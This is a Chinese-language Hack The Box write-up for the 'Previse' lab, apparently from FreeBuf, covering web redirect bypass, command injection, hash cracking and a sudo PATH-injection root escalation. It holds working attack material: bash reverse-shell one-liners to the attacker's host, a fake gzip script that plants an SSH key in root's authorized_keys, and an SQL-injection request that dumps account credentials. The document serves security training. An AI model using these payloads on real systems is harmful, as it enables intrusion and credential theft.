freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Hack-the-box 靶场实战:HTB-Previse
2023-12-26 12:24:47

HTB-Previse

先对目标端口进行扫描(nmap),看看开启了哪些服务和端口

nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.11.104
image

我们获取目标的端口之后,需要知道更详细的信息

nmap -p 22,80 -sCV -oA scans/nmap-tcpscripts 10.10.11.104
image

这些是我们再次扫描的结果,我们可以猜测目标80端口使用的是Apache ,22使用OpenSSH

后来我们加上-O选项,尝试看看目标的OS是什么
image

通过扫描,目标多半是Linux系统

我们访问目标80端口,看看有什么切入点
image

经过简单的Username 和 Password的测试,发现报错永远是
image

这导致我们无法知道目标是否可以进行爆破

目前情况下,我们貌似不知道什么可以切入的地方,那么尝试使用dirsearch扫描一下目标有什么子目录

python [dirsearch.py](http://dirsearch.py/) -u [http://10.10.11.104/](http://10.10.11.104/)
image
image

我们将可以访问的(301除外)都进行了访问,发现没有什么可以利用的东西,但是除了/header。php这个文件,打开后没有任何显示,但是右击源码又有东西。(后来通过对比知道,这是Login.php页面的前端中中的内容。)

我们尝试访问/目录,发现还是重定向到/login.php。这表示可能存在EAR漏洞(Execution After Redirect)重定向漏洞。

Execution After Redirect (EAR)

那么我们需要尝试去绕过这个重定向,去看看重定向之前的页面是什么样的。

我们利用burp抓包,抓取Request的部分,而不进行Response

image

通过这样抓包,我们发现了不一样的东西
image

image

我们尝试将302改为200 OK,看看能不能实现绕过这个Location(我们猜测目标会根据状态码来判断是否要重定向)

image

确实发现了不一样的东西,我们成功绕过了重定向,这说明目标存在EAR漏洞
image

当我们随便点击的时候,发现又给我们重定向回去了。貌似这并没有多大卵用。

但是会想到我们之前dirsearch发生的重定向,貌似正好对应上面的几个选项。如果说,存在EAR漏洞,那么其他几个是不是也可以用同样的方法去尝试?

image

我们在Proxy-Options中设置如图匹配-替换,实现访问就绕过重定向。

我们访问/accounts.php这个页面发现可以创建用户

image

我们创建了一个admin用户和admins,发现这个用户竟然不存在,创建成功了

image

至于能不能找到目标管理员账号,暂时先不管,我们先去看看其他几个页面有什么东西。

files.php页面

image

status.php页面

image

我们通过创建的账号去登录,在FILES中发现了两份文件,一份是Backdoor,另一份是Zip文件(zip中包含了这个站目录下的所有文件),我们打开后发现了目标的数据库账密

image

我们打开file_logs.php发现貌似也是个页面,所以我们访问其中file_logs.php看看有什么

image

我们将三种选项的文件都输出得到,发现并没有什么不同的地方(但也表示这里目标正在访问其数据库进行数据获取)

image

至此我们已经获得了目标数据库的账密,下面只需要获取对方的Shell权限,或者能够远程命令执行就可以获得我们想要的东西了。

下面开始进行如何实现命令执行(RCE)

利用www-data(网站请求)去实现RCE

image

我们POST一个选项中没有的参数,发现依旧返回了数据库内容。但是我们通过对比目标三种方式,发现格式不太一样。(这里大胆猜测目标可能进行文本匹配和排序,目标可能正在PHP中执行这项操作;但也不排除可能利用system或者shell_exec去调用PHP之外的东西)

我们监听一下端口,看看目标能不能访问我们。(看看能不能实现RCE,这里tun0是我们用HTB给的网卡)

image

收到了来自远方同胞的信

image

无源码情况下发现RCE,可以执行远程命令

接下来就是如何利用RCE去获取目标的控制权限(前期我们Nmap出目标是Linux系统,这说明我们可以利用bash和nc设置后门)

通过不断努力,我们终于实现了bash反弹nc

image

但是吧,我们一搞Ctrl+c 这个shell就被关掉了。所以我们需要升级我们的shell。

script /dev/null -c bash在目标shell中执行,然后Ctrl+Z退出

接着在我们本机上stty raw -echo; fg再执行这串代码,发现实现持续控制了。而且Ctrl+C也不会是shell关闭。

现在开始获取目标的重要文件

首先我们刚刚知道了一个ml4where这个名字,很有可能这是目标常用的用户名。

image

我们查看目标home,发现果真有一个用户叫做m4lwhere

我们想要查看目标的users.txt文件,发现自己权限不够。(可以尝试性提权)

image

此时意味着我们可以访问目标的数据库了,根据刚刚获取的账密。

image

通过测试,我们发现只有previse这DB中可能存在我们想要的东西(因为tables比较简单)

image

image

拿到了目标普通用户的密码。但是目标的密码被加密了。并且有一个emoji隔在中间。

这里需要我们去破解目标的hash值

hashcat -m 500 hash.hash /usr/share/wordlists/rockyou.txt

我们通过hashcat成功爆出了目标的密码

image

在有了账密情况下,而且目标还开着OpenSSH,我们可以利用ssh远程连接

sshpass -p 'ilovecody112235!' ssh m4lwhere@10.10.11.104(这个命令,发现不太好用)

我们使用另一个命令:ssh m4lwhere@10.10.11.104

image

成功连接到目标。

我们查看之前没有权限访问的文件user.txt,成功拿到user的falg

image

ilovecody112235!

我们尝试使用sudo su看看能不能拿到root权限,很显然失败了。这就考虑到需要思考其他方法去获取root权限。从而获得root的flag

image

但是我们通过sudo -l这个指令发现sudo可以在脚本上执行

image

以下开始大佬的深入研究:

sudo -l的输出少了关键一行:sudo被错误配置以便下一次使用

系统会执行这个脚本将日志备份到/var/backups/:

#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

image

我们通过ls -ld /var/backups可以看到该目录属于root。所以说那个脚本的启动,需要root权限。

image

下面我们需要利用Path Injection

我们在/dev/shm中创建一个gzip脚本,在这脚本中,我们可以利用bash,并且把我们的公钥写入root的authorized_keys中,实现一个反向shell

gizp中内容:

#!/bin/bash

# enable root ssh
mkdir -p /root/.ssh
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing" >> /root/.ssh/authorized_keys

# rev shell
bash -i >& /dev/tcp/[自己ip]/443 0>&1

接着设置将我们创建的脚本所在位置设为自启动

m4lwhere@previse:/dev/shm$export PATH=/dev/shm:$PATHm4lwhere@previse:/dev/shm$echo $PATH

/dev/shm:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

一切准备就绪之后,我们开始启动那个脚本,唤起root

sudo /opt/scripts/access_backup.sh

同时我们在自己的电脑上需要开启nc监听443端口,从而获取root的反向shell

我在尝试过后,并未能成功返回shell

通过后来的方法二发现,是因为权限问题,当我们给chmod 777 gzip时,一样可以实现root的反弹shell

方法二:

我们通过sudo -l 发现一个root权限的脚本,我们查看其内容,发现改脚本将以root权限执行”gzip”

我们检查脚本,发现脚本没有验证”gzip”是否是”原始/指定完整路径”

因此该脚本容易收到Path Injection的影响

具体步骤如下:

  1. 在具有权限的目录创建一个文件名gzip

  2. 将文件的权限更改为777

  3. 将环境变量$PATH配置为当前目录

  4. 设置本机为监听方

  5. 执行 /opt/scripts/access_backup.sh

cd /tmp 

echo "bash -i >& /dev/tcp/10.10.14.56/4444 0>&1" >gzip 

chmod 777 gzip 

export PATH=/tmp:$PATH 

sudo /opt/scripts/access_backup.sh

成功反弹获得root的shell

image

image

对于sudo -l返回结果不同的深入探究

下面是在我本机上运行sudo -l返回的结果。

image

下面是目标有做过修改的sudo -l:

image

针对这个,env_resetmail_badpass, 和secure_path都默认在/etc/sudoers文件中定义。

我们在本机中查看/ect/sudoers

#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults        env_reset
Defaults        mail_badpass
Defaults        secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d
root    ALL=(ALL) NOPASSWD: ALL
  • env_reset

    :这将携带到新进程中的环境变量限制为几个关键变量,默认为true。

  • mail_badpasssudosudo

    :告诉尝试

    失败时发送电子邮件

    ;手册页说默认情况下这是关闭的,但默认配置似乎启用它。

  • secure_pathsudo

    :这设置了运行命令的路径

    ,防止了我上面使用的那种攻击。默认情况下禁用此功能,但它在我知道的所有发行版的默认配置中。

    而在目标修改后的文件中:

    # Cmnd alias specification
    
    # User privilege specification
    root    ALL=(ALL:ALL) ALL
    
    # Members of the admin group may gain root privileges
    %admin ALL=(ALL) ALL
    
    # Allow members of group sudo to execute any command
    %sudo   ALL=(ALL:ALL) ALL
    
    # See sudoers(5) for more information on "#include" directives:
    
    #includedir /etc/sudoers.d
    # Allow manual backups of access logs as needed
    m4lwhere ALL=(root) /opt/scripts/access_backup.sh
    

    目标删除了默认值

    ### 补充:

    一位大佬发现其中存在SQL注入

    watch?v=s4WdUp3s0dE

    其存在漏洞的语句为:

    $sql = "INSERT INTO files(name, size, data, user) VALUES('{$fileName}', '{$fileSize}', '{$fileData}', '{$_SESSION['user']}')";
    $db = connectDB();
    $result = $db->query($sql);
    

    我们在其文件files.php中可以实现

    POST /files.php HTTP/1.1
    Host: 10.10.11.104
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: multipart/form-data; boundary=---------------------------81606610532534972821053179055
    Content-Length: 335
    Origin: http://10.10.11.104
    Connection: close
    Referer: http://10.10.11.104/files.php
    Cookie: PHPSESSID=mdecrekdk0rlrjcs724posb8oh
    Upgrade-Insecure-Requests: 1
    
    -----------------------------81606610532534972821053179055
    Content-Disposition: form-data; name="userData"; filename="accounts', '0', '', (SELECT group_concat(concat(username,':',password) SEPARATOR '<br>') from accounts));-- -"
    Content-Type: text/plain
    
    test
    -----------------------------81606610532534972821053179055--
    

image

# 系统安全 # 内网渗透 # 网络安全技术
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录